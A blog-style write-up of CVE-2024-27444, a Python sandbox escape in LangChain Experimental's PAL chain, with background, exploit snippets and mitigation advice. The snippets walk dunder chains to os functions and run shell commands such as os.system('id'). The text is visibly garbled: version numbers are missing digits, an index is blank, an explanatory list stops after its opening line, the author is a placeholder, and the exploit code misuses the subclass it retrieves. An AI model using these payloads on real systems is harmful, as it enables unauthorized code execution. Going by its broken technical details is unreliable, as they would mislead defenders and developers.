Published June 2024
Author: Your Name
LangChain makes it easy for developers to harness the power of language models in complex applications. But with power comes risk – especially when user-supplied code enters the picture. A recent vulnerability, tracked as CVE-2024-27444, shows how attackers can slip past old fixes and run arbitrary Python code with clever tricks. This post will unpack the issue, show how it works, and explain why the fix for CVE-2023-44467 wasn't enough.
Vulnerability Summary
Component: langchain_experimental (aka LangChain Experimental)
Affected Versions: Before .1.8
Fixed In: .1.8 and later
Vulnerability type: Sandbox escape / code execution
Attack vector: Untrusted code is processed by an incomplete sandbox, allowing malicious payloads.
Understanding the Background
LangChain Experimental enables users to interact with language models, sometimes allowing chunks of user-supplied code to run inside Python’s eval() or exec() environments.
CVE-2023-44467 addressed some obvious attack vectors, but left holes: a determined attacker can still access Python’s dangerous internals using attributes like __import__, __subclasses__, and more.
Vulnerable File
The weak point lies in pal_chain/base.py. Here, the code *tries* to restrict what’s available to executing code, but fails to block certain attribute chains.
How the Attack Works
Python’s flexibility can backfire. Attributes that both start and end with double underscores—also called "dunder" attributes—let attackers access “hidden” parts of built-in objects.
Even if you block most Python builtins, a well-chosen chain like
().__class__.__bases__[].__subclasses__()
lets attackers access *all* subclasses of Python's base object. From there, you can often find things like <class 'os._wrap_close'>, and by following attribute chains, reach code execution primitives.
Exploit Example
Suppose a malicious user can send input to LangChain Experimental and have it “executed.” Here’s how they might run a shell command:
Exploit Code
# Step 1: Find the os module via __subclasses__
os_module = ().__class__.__base__.__subclasses__()[59] # index may vary
# Step 2: Run a system command:
os_module('ls /tmp', shell=True)
Or, using Python's import system via __import__
# Bypass restrictions by calling __import__ through __builtins__
os = ().__class__.__base__.__subclasses__()[59] # or use __import__('os')
os = __builtins__.__import__('os')
os.system('id')
The number [59] is not always correct—it depends on the environment. Attackers often loop through all __subclasses__() to find what they need.
Why This Works
pal_chain/base.py tried blocking eval or exec from accessing regular imports and builtins—but did not block attribute access to dunder attributes. This means the attacker can:
References and Further Reading
- LangChain Changelog
- Security Advisory for CVE-2023-44467 (Original Fix)
- Python Sandbox Escape Techniques
- Discussion on Python __subclasses__ exploitation
Mitigation
If you use LangChain Experimental < .1.8, UPGRADE IMMEDIATELY.
Do not trust any sandbox that doesn’t *explicitly* prevent access to dangerous dunder attributes. As a rule:
- Never run untrusted Python code, unless using mature sandboxing (i.e. physical containers, not just code tricks).
Conclusion
CVE-2024-27444 is a reminder that Python sandboxes are very hard to get right. Blocking obvious builtins is not enough—dunder attributes are an ever-present backdoor. As with many “experimental” tools, they should never be exposed to user-supplied code in production environments until you’ve examined the source and confirmed robust security mechanisms.
Stay safe and keep an eye on your dependencies!
Exclusive Full Disclosure by Your Name
Timeline
Published on: 02/26/2024 16:28:00 UTC
Last modified on: 08/06/2024 16:35:07 UTC